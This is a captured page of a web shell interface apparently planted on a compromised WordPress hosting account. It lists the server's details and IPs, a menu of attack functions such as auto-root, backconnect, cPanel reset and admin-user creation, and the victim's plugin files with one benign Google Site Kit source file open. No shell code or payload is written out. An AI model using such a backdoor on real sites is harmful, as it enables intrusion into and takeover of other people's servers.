Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.116.28.245
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
temmmp /
anonmags.com /
wp-content /
plugins /
google-site-kit /
includes /
Core /
Authentication /
[ HOME SHELL ]
Name
Size
Permission
Action
Clients
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Guards
[ DIR ]
drwxr-xr-x
Authentication.php
36.82
KB
-rw-r--r--
Connected_Proxy_URL.php
1.23
KB
-rw-r--r--
Credentials.php
3.79
KB
-rw-r--r--
Disconnected_Reason.php
923
B
-rw-r--r--
Google_Proxy.php
18.4
KB
-rw-r--r--
Has_Connected_Admins.php
3.3
KB
-rw-r--r--
Has_Multiple_Admins.php
1.55
KB
-rw-r--r--
Initial_Version.php
633
B
-rw-r--r--
Owner_ID.php
1.52
KB
-rw-r--r--
Profile.php
1.63
KB
-rw-r--r--
REST_Authentication_Controller...
5.01
KB
-rw-r--r--
Setup.php
12.39
KB
-rw-r--r--
Token.php
3.78
KB
-rw-r--r--
Verification.php
1.52
KB
-rw-r--r--
Verification_File.php
626
B
-rw-r--r--
Verification_Meta.php
624
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Has_Connected_Admins.php
<?php /** * Class Google\Site_Kit\Core\Authentication\Has_Connected_Admins * * @package Google\Site_Kit\Core\Authentication * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Authentication; use Google\Site_Kit\Core\Authentication\Clients\OAuth_Client; use Google\Site_Kit\Core\Storage\Options_Interface; use Google\Site_Kit\Core\Storage\Setting; use Google\Site_Kit\Core\Storage\User_Options_Interface; use WP_User; /** * Has_Connected_Admins class. * * @since 1.14.0 * @access private * @ignore */ class Has_Connected_Admins extends Setting { /** * The option_name for this setting. */ const OPTION = 'googlesitekit_has_connected_admins'; /** * User options instance implementing User_Options_Interface. * * @since 1.14.0 * @var User_Options_Interface */ protected $user_options; /** * Constructor. * * @since 1.14.0 * * @param Options_Interface $options Options instance. * @param User_Options_Interface $user_options User options instance. */ public function __construct( Options_Interface $options, User_Options_Interface $user_options ) { parent::__construct( $options ); $this->user_options = $user_options; } /** * Registers the setting in WordPress. * * @since 1.14.0 */ public function register() { parent::register(); $access_token_meta_key = $this->user_options->get_meta_key( OAuth_Client::OPTION_ACCESS_TOKEN ); add_action( 'added_user_meta', function ( $mid, $uid, $meta_key ) use ( $access_token_meta_key ) { // phpcs:ignore WordPress.WP.Capabilities.RoleFound if ( $meta_key === $access_token_meta_key && user_can( $uid, 'administrator' ) ) { $this->set( true ); } }, 10, 3 ); add_action( 'deleted_user_meta', function ( $mid, $uid, $meta_key ) use ( $access_token_meta_key ) { if ( $meta_key === $access_token_meta_key ) { $this->delete(); } }, 10, 3 ); } /** * Gets the value of the setting. If the option is not set yet, it pulls connected * admins from the database and sets the option. * * @since 1.14.0 * * @return boolean TRUE if the site kit already has connected admins, otherwise FALSE. */ public function get() { // If the option doesn't exist, query the fresh value, set it and return it. if ( ! $this->has() ) { $users = $this->query_connected_admins(); $has_connected_admins = count( $users ) > 0; $this->set( (int) $has_connected_admins ); return $has_connected_admins; } return (bool) parent::get(); } /** * Queries connected admins and returns an array of connected admin IDs. * * @since 1.14.0 * * @return array The array of connected admin IDs. */ protected function query_connected_admins() { return get_users( array( 'meta_key' => $this->user_options->get_meta_key( OAuth_Client::OPTION_ACCESS_TOKEN ), // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key 'meta_compare' => 'EXISTS', 'role' => 'administrator', 'number' => 1, 'fields' => 'ID', ) ); } /** * Gets the expected value type. * * @since 1.14.0 * * @return string The type name. */ protected function get_type() { return 'boolean'; } }
Close